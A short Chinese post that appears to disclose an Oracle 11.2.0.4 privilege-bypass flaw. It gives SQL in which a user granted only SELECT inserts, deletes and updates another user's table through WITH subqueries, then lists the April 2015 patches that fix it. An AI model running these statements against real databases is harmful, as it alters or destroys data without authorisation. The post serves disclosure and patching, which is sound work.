oracle漏洞攻防---之with越权增删改

-- 创建两个用户 i and you
create user i identified by root;
grant connect,resource to i;

create user you identified by root;
grant connect,resource to you;

-- i 登录， 创建i的私有表
create table t_user (
  id number not null primary key,
  name varchar2(32),
  password varchar2(128)
);
-- i 登录， 创建私有序列
create sequence seq_user nomaxvalue nominvalue nocache nocycle 
increment by 1
start with  1;
-- i 登录， 存入一条数据
insert into t_user values (seq_user.nextval, 'zhangsan', '123456');

-- 授权给you 查询权限
grant select on t_user to you;

-- you 登录 测试增、删、改
insert into (with t as (select * from i.t_user) select * from t) select -1, 'wangwu', '00000' from dual;

delete (with t as (select * from i.t_user) select id from t) where id = -1;

update (
  with m as (select * from i.t_user)
  select * from m
) e
set e.password='000000';

以下提供补丁包：

更新对象	补丁号	名称	程序包
GI	19852360	ORACLE JAVA TECHNOLOGY Patch for Bug# 19852360 for Generic Platforms	p19852360_112040_Generic
	20485808	Oracle Grid Infrastructure Patch Set Update 11.2.0.4.6 (Apr2015) (Includes Database PSU 11.2.0.4.6)	p20485808_112040_Linux-x86-64
	20834621	Combo of OJVM Component 11.2.0.4.3 DB PSU + GI PSU 11.2.0.4.6 (Apr2015)	p20834621_112040_Linux-x86-64
Database	19852360	ORACLE JAVA TECHNOLOGY Patch for Bug# 19852360 for Generic Platforms	p19852360_112040_Generic
	20299013	Database Patch Set Update 11.2.0.4.6 (Includes CPUApr2015)	p20299013_112040_Linux-x86-64
	20299015	Database Security Patch Update 11.2.0.4.0 (CPUApr2015)	p20299015_112040_Linux-x86-64
	20406239	Oracle JavaVM Component 11.2.0.4.3 Database PSU (Apr2015)	p20406239_112040_Linux-x86-64
	20834611	Combo of OJVM Component 11.2.0.4.3 DB PSU + DB PSU 11.2.0.4.6 (Apr2015)	p20834611_112040_Linux-x86-64